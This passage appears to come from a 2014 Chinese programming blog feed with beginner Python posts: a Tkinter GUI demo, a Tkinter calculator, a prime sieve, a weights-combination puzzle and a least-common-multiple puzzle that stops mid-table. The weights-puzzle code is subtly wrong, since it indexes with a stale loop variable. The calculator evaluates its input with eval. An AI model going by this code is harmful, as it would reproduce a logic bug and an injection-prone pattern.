<span class="n">bottomframe</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="n">side</span> <span class="o">=</span> <span class="n">BOTTOM</span><span class="p">)</span>
<span class="c1"># 添加text,一个文本组件
</span> <span class="n">text</span> <span class="o">=</span> <span class="n">Text</span><span class="p">(</span><span class="n">bottomframe</span><span class="p">)</span>
<span class="n">text</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">END</span><span class="p">,</span><span class="s">'iFrame框架像是一个容器'</span><span class="p">)</span>
<span class="c1">#text.pack()
</span>
<span class="c1"># 布置几个button
</span> <span class="n">redbutton</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">frame</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'red'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'red'</span><span class="p">)</span>
<span class="n">bluebutton</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">frame</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'blue'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'blue'</span><span class="p">)</span>
<span class="n">yellobutton</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">frame</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'yellow'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'yellow'</span><span class="p">)</span>
<span class="n">redbutton</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="n">side</span> <span class="o">=</span> <span class="n">LEFT</span><span class="p">)</span>
<span class="n">bluebutton</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="n">side</span> <span class="o">=</span> <span class="n">LEFT</span><span class="p">)</span>
<span class="n">yellobutton</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="n">side</span> <span class="o">=</span> <span class="n">LEFT</span><span class="p">)</span>
<span class="n">bottombutton</span> <span class="o">=</span> <span class="n">Button</span><span class="p">(</span><span class="n">bottomframe</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'buttonButton'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'black'</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">)</span>
<span class="n">bottombutton</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="n">side</span> <span class="o">=</span> <span class="n">BOTTOM</span><span class="p">)</span>
<span class="c1"># 分割线
</span> <span class="n">label2</span> <span class="o">=</span> <span class="n">Label</span><span class="p">(</span><span class="n">bottomframe</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'-'</span> <span class="o">*</span> <span class="mi">90</span><span class="p">)</span>
<span class="n">label2</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="c1"># 添加Menubutton
</span> <span class="c1"># menubutton 是个下拉菜单,用户点一下,展开,能选择
</span> <span class="n">mb</span> <span class="o">=</span> <span class="n">Menubutton</span><span class="p">(</span><span class="n">bottomframe</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'下拉才菜单'</span><span class="p">)</span>
<span class="n">mb</span><span class="p">.</span><span class="n">menu</span> <span class="o">=</span> <span class="n">Menu</span><span class="p">(</span><span class="n">mb</span><span class="p">)</span>
<span class="n">mb</span><span class="p">[</span><span class="s">'menu'</span><span class="p">]</span> <span class="o">=</span> <span class="n">mb</span><span class="p">.</span><span class="n">menu</span>
<span class="n">mb</span><span class="p">.</span><span class="n">menu</span><span class="p">.</span><span class="n">add_checkbutton</span><span class="p">(</span><span class="n">label</span> <span class="o">=</span> <span class="s">'no1 choice'</span><span class="p">)</span>
<span class="n">mb</span><span class="p">.</span><span class="n">menu</span><span class="p">.</span><span class="n">add_checkbutton</span><span class="p">(</span><span class="n">label</span> <span class="o">=</span> <span class="s">'no2 choice'</span><span class="p">)</span>
<span class="n">mb</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">text</span><span class="p">.</span><span class="n">pack</span><span class="p">()</span>
<span class="n">mainloop</span><span class="p">()</span></code></pre></figure>
基于Tkinter简单计算器
2014-02-08T00:00:00+00:00
http://fish267.github.io/2014/02/08/Tkinter-calculator
<p><strong>这个是小米系统的计算器界面:</strong>
<br />
<img src="http://bcs.duapp.com/love67/%2Funnamed.png?sign=MBO:OsG38oCXSPWgEul2SOX0fBg4:Beyrej4HXhmhzMAt4%2FRhggTp2pM%3D" alt="" /></p>
<p>模仿了一下,高富帅的界面成屌丝了:<br />
<!--more-->
<img src="http://bcs.duapp.com/love67/%2Fcalculator.png?sign=MBO:OsG38oCXSPWgEul2SOX0fBg4:PtPPBlkf541jrQXlzkBlqHWtuN8%3D" alt="" /></p>
<p><strong>代码如下:</strong></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python">
<span class="c1">#/usr/bin/python
</span> <span class="c1"># coding: utf-8
</span>
<span class="kn">from</span> <span class="nn">Tkinter</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1"># 按键返回函数
</span> <span class="k">def</span> <span class="nf">call</span><span class="p">(</span><span class="n">num</span><span class="p">):</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">display</span><span class="p">.</span><span class="n">get</span><span class="p">()</span> <span class="o">+</span> <span class="n">num</span>
<span class="n">display</span><span class="p">.</span><span class="nb">set</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="c1"># 使用eval 函数计算
</span> <span class="k">def</span> <span class="nf">calculate</span><span class="p">():</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">display</span><span class="p">.</span><span class="n">get</span><span class="p">()</span>
<span class="n">result</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="n">display</span><span class="p">.</span><span class="nb">set</span><span class="p">(</span><span class="n">content</span> <span class="o">+</span> <span class="s">'=</span><span class="se">\n</span><span class="s">'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">display</span><span class="p">.</span><span class="nb">set</span><span class="p">(</span><span class="s">'Error'</span><span class="p">)</span>
<span class="n">clear</span><span class="p">()</span>
<span class="c1"># 清空内容栏
</span> <span class="k">def</span> <span class="nf">clear</span><span class="p">():</span>
<span class="n">display</span><span class="p">.</span><span class="nb">set</span><span class="p">(</span><span class="s">''</span><span class="p">)</span>
<span class="c1"># 删除前一个字符
</span> <span class="k">def</span> <span class="nf">backspace</span><span class="p">():</span>
<span class="n">display</span><span class="p">.</span><span class="nb">set</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">display</span><span class="p">.</span><span class="n">get</span><span class="p">()[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]))</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1"># 定义主窗口
</span> <span class="n">root</span> <span class="o">=</span> <span class="n">Tk</span><span class="p">()</span>
<span class="n">root</span><span class="p">.</span><span class="n">title</span><span class="p">(</span><span class="s">'Calculator'</span><span class="p">)</span>
<span class="n">root</span><span class="p">.</span><span class="n">geometry</span><span class="p">(</span><span class="s">'210x200+300+400'</span><span class="p">)</span>
<span class="c1"># 将display定义成global,main() 函数外的call, calculate等可以调用
</span> <span class="k">global</span> <span class="n">display</span>
<span class="n">display</span> <span class="o">=</span> <span class="n">StringVar</span><span class="p">()</span>
<span class="c1"># 设置内容显示栏,使用label,anchor是靠右,默认居中
</span> <span class="n">label</span> <span class="o">=</span> <span class="n">Label</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">relief</span> <span class="o">=</span> <span class="s">'sunken'</span><span class="p">,</span> <span class="n">borderwidth</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">anchor</span> <span class="o">=</span> <span class="n">SE</span><span class="p">)</span>
<span class="n">label</span><span class="p">.</span><span class="n">config</span><span class="p">(</span><span class="n">bg</span> <span class="o">=</span> <span class="s">'grey'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">25</span><span class="p">,</span> <span class="n">height</span> <span class="o">=</span> <span class="mi">3</span><span class="p">)</span>
<span class="n">label</span><span class="p">[</span><span class="s">'textvariable'</span><span class="p">]</span> <span class="o">=</span> <span class="n">display</span>
<span class="n">label</span><span class="p">.</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">columnspan</span> <span class="o">=</span> <span class="mi">4</span><span class="p">)</span>
<span class="c1"># text = Text(root, relief = 'sunken', borderwidth = 3)
</span> <span class="c1"># text.insert(INSERT, str(display))
</span> <span class="c1"># text.grid(row = 0, column = 0, columnspan = 4)
</span> <span class="c1"># 添加各个按钮,并绑定行为,使用lambda很方便,是用的是grid布局
</span> <span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'C'</span><span class="p">,</span> <span class="n">fg</span> <span class="o">=</span> <span class="s">'#EF7321'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span> <span class="n">clear</span><span class="p">()).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'DEL'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">backspace</span><span class="p">()).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'/'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'/'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'*'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'*'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">1</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">3</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'7'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'7'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'8'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'8'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'9'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'9'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'-'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'-'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">2</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">3</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'4'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'4'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'5'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'5'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'6'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'6'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'+'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'+'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">3</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'1'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'1'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'2'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'2'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'3'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'3'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'='</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">bg</span> <span class="o">=</span> <span class="s">'#EF7321'</span><span class="p">,</span> <span class="n">height</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span><span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">calculate</span><span class="p">()).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">4</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">rowspan</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'0'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">10</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'0'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">5</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">columnspan</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">Button</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">text</span> <span class="o">=</span> <span class="s">'.'</span><span class="p">,</span> <span class="n">width</span> <span class="o">=</span> <span class="mi">3</span><span class="p">,</span> <span class="n">command</span> <span class="o">=</span> <span class="k">lambda</span><span class="p">:</span><span class="n">call</span><span class="p">(</span><span class="s">'.'</span><span class="p">)).</span><span class="n">grid</span><span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">5</span><span class="p">,</span> <span class="n">column</span> <span class="o">=</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">root</span><span class="p">.</span><span class="n">mainloop</span><span class="p">()</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span></code></pre></figure>
<p><a href="https://github.com/fish267/tkinter-cal">源码git地址</a></p>
快速素数产生
2014-02-07T00:00:00+00:00
http://fish267.github.io/2014/02/07/quick-prime
<p>在ACM会经常遇到使用大量素数的情景,谷歌了一下,当不是特别多时,可以使用<strong>筛选法</strong>搞定.
这个<a href="http://zh.wikipedia.org/wiki/%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AD%9B%E6%B3%95">wiki</a>上扒来的原理图:<br />
<img src="http://upload.wikimedia.org/wikipedia/commons/b/b9/Sieve_of_Eratosthenes_animation.gif" alt="pic" />
<br />
埃拉托斯特尼筛法,简称埃氏筛,是一种公元前250年由古希腊数学家埃拉托斯特尼所提出的一种简单检定素数的算法。
<!--more-->
<br />
下面是伪代码:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="c1">// arbitrary search limit</span>
<span class="n">limit</span> <span class="err">←</span> <span class="mi">1</span><span class="p">.</span><span class="mo">000</span><span class="p">.</span><span class="mo">000</span>
<span class="c1">// assume all numbers are prime at first </span>
<span class="n">is_prime</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="err">←</span> <span class="nb">true</span><span class="p">,</span> <span class="n">i</span> <span class="err">∈</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="n">limit</span><span class="p">]</span>
<span class="k">for</span> <span class="n">n</span> <span class="n">in</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="err">√</span><span class="n">limit</span><span class="p">]</span><span class="o">:</span>
<span class="k">if</span> <span class="n">is_prime</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">:</span>
<span class="c1">// eliminate multiples of each prime,</span>
<span class="c1">// starting with its square</span>
<span class="n">is_prime</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="err">←</span> <span class="nb">false</span><span class="p">,</span> <span class="n">i</span> <span class="err">∈</span> <span class="p">{</span><span class="n">n</span><span class="err">²</span><span class="p">,</span> <span class="n">n</span><span class="err">²</span><span class="o">+</span><span class="n">n</span><span class="p">,</span> <span class="n">n</span><span class="err">²</span><span class="o">+</span><span class="mi">2</span><span class="n">n</span><span class="p">,</span> <span class="p">...,</span> <span class="n">limit</span><span class="p">}</span>
<span class="k">for</span> <span class="n">n</span> <span class="n">in</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="n">limit</span><span class="p">]</span><span class="o">:</span>
<span class="k">if</span> <span class="n">is_prime</span><span class="p">(</span><span class="n">n</span><span class="p">)</span><span class="o">:</span> <span class="n">print</span> <span class="n">n</span></code></pre></figure>
<p><strong><em>针对上面的思路,Python代码如下</em></strong></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">prime_dic</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">prime_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">n</span> <span class="o">=</span> <span class="mi">1000</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
<span class="n">prime_dic</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">n</span> <span class="o">**</span> <span class="p">.</span><span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">i</span> <span class="o">**</span> <span class="mi">2</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">i</span><span class="p">):</span>
<span class="k">if</span> <span class="n">prime_dic</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">prime_dic</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">k</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">prime_dic</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
<span class="k">if</span> <span class="n">v</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">prime_list</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="k">print</span> <span class="n">prime_list</span></code></pre></figure>
砝码称重问题-python
2014-02-07T00:00:00+00:00
http://fish267.github.io/2014/02/07/python-fama
<p><br />
#问题描述</p>
<blockquote>
<p>有一组砝码,重量互不相等,分别为m1、m2、m3……mn;它们可取的最大数量分别为x1、x2、x3……xn。
现要用这些砝码去称物体的重量,问能称出多少种不同的重量。
现在给你两个正整数列表w和n, 列表w中的第i个元素w[i]表示第i个砝码的重量,列表n的第
i个元素n[i]表示砝码i的最大数量。i从0开始,请你输出不同重量的种数。
如:w=[1,2], n=[2,1], 则输出5(分析:共有五种重量:0,1,2,3,4)
—–
#解体思路
<!--more-->
使用Python的set,可以保证唯一性,还有重量为0的情况
i</p>
</blockquote>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">cnt</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
<span class="n">w</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">9</span><span class="p">,</span> <span class="mi">11</span><span class="p">]</span>
<span class="n">n</span> <span class="o">=</span> <span class="p">[</span><span class="mi">5</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">14</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
<span class="n">cnt</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">w</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">w</span><span class="p">)):</span>
<span class="n">temp</span> <span class="o">=</span> <span class="n">cnt</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span>
<span class="n">cnt</span><span class="p">.</span><span class="n">clear</span><span class="p">()</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">temp</span><span class="p">:</span>
<span class="n">cnt</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">w</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">*</span> <span class="n">j</span> <span class="o">+</span> <span class="n">k</span><span class="p">)</span>
<span class="k">print</span> <span class="nb">len</span><span class="p">(</span><span class="n">cnt</span><span class="p">)</span></code></pre></figure>
一堆数的最小公倍数--python
2014-02-07T00:00:00+00:00
http://fish267.github.io/2014/02/07/python-common-multiple-number
<p>#问题描述:</p>
<blockquote>
<p>给你一个正整数list L, 如 L=[2,8,3,50], 求列表中所有数的最小公倍数(不用考虑溢出问题)
<br /> 如L=[3,5,10], 则输出30</p>
</blockquote>
<p>#思路分析:
参考博文<a href="http://www.cnblogs.com/Cwdf/archive/2010/05/13/1734786.html"> 趣题:不用除法,如何求n个数的最小公倍数 </a>, 思路就是每行的最小数字都加上自己,直到都相等为止。如下例子:
<!--more--></p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="mi">30</span> <span class="mi">12</span> <span class="mi">18</span>
<span class="mi">30</span> <span class="mi">24</span> <span class="mi">18</span>
<span class="mi">30</span> <span class="mi">24</span> <span class="mi">36</span>
<span class="mi">30</span> <span class="mi">36</span> <span class="mi">36</span>
<span class="mi">60</span> <span class="mi">36</span> <span class="mi">36</span>
<span class="mi">60</span> <span class="mi">48</span> <span class="mi">36</span>
<span class="mi">60</span> <span class="mi">48</span> <span class="mi">54</span>
<span class="mi">60</span> <span class="mi">60</span> <span class="mi">54</span>
<span class="mi">60</span> <span class="mi">60</span> <span class="mi">72</span>
<span class="mi">90</span> <span class="mi">60</span> <span class="mi">72</span>
<span class="mi">90</span> <span class="mi">72</span> <span class="mi">72</span>
<span class="mi">90</span> <span class="mi">84</span> <span class="mi">72</span>
<span class="mi">90</span> <span class="mi">84</span> <span class="mi">90</span>
<span class="mi">90</span> <span class="mi">96</span> <span class="mi">90</span>
<span class="mi">120</span> <span class="mi">96</span> <span class="mi">90</span>
<span class="mi">120</span> <span class="mi">96</span> <span class="mi">108</span>
